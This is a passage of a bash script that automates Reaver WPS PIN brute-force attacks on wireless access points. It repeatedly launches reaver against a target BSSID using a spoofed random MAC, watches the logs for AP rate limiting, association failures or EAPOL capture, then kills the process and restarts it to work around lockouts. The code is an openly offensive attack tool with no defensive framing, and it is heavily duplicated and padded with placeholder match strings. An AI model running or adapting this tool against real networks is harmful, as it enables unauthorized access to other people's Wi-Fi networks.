REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R20 == n || $USE_R20 == N ]] && [[ $USE_LONG20 == y || $USE_LONG20 == Y ]] && [[ $USE_PIN20 == y || $USE_PIN20 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME20"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL20"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP20"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE20 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME20-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL20 -b $TARGETAP20 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN20 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME20-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE20-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R20 == y || $USE_R20 == Y ]] && [[ $USE_LONG20 == y || $USE_LONG20 == Y ]] && [[ $USE_PIN20 == y || $USE_PIN20 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME20"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL20"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP20"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX20" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY20"
echo -e "$info Reaver live time                   = $yel$LIVE20 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME20-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL20 -b $TARGETAP20 -r $RX20:$RY20 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN20 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME20-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE20-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME20-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME20-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME20-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP20 (ESSID: $NMEWARN20)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE20 == n ] || [ $KEEP_FILE20 == N ]; then

          rm VARMAC_LOGS/$NAME20-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R21 == n || $USE_R21 == N ]] && [[ $USE_LONG21 == n || $USE_LONG21 == N ]] && [[ $USE_PIN21 == n || $USE_PIN21 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME21"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL21"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP21"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE21 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME21-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL21 -b $TARGETAP21 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME21-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE21-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R21 == y || $USE_R21 == Y ]] && [[ $USE_LONG21 == n || $USE_LONG21 == N ]] && [[ $USE_PIN21 == n || $USE_PIN21 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME21"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL21"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP21"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX21" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY21"
echo -e "$info Reaver live time                   = $yel$LIVE21 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME21-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL21 -b $TARGETAP21 -vv -x 60 -r $RX21:$RY21 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME21-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE21-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME21-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME21-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME21-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP21 (ESSID: $NMEWARN21)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME21-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R21 == n || $USE_R21 == N ]] && [[ $USE_LONG21 == y || $USE_LONG21 == Y ]] && [[ $USE_PIN21 == n || $USE_PIN21 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME21"
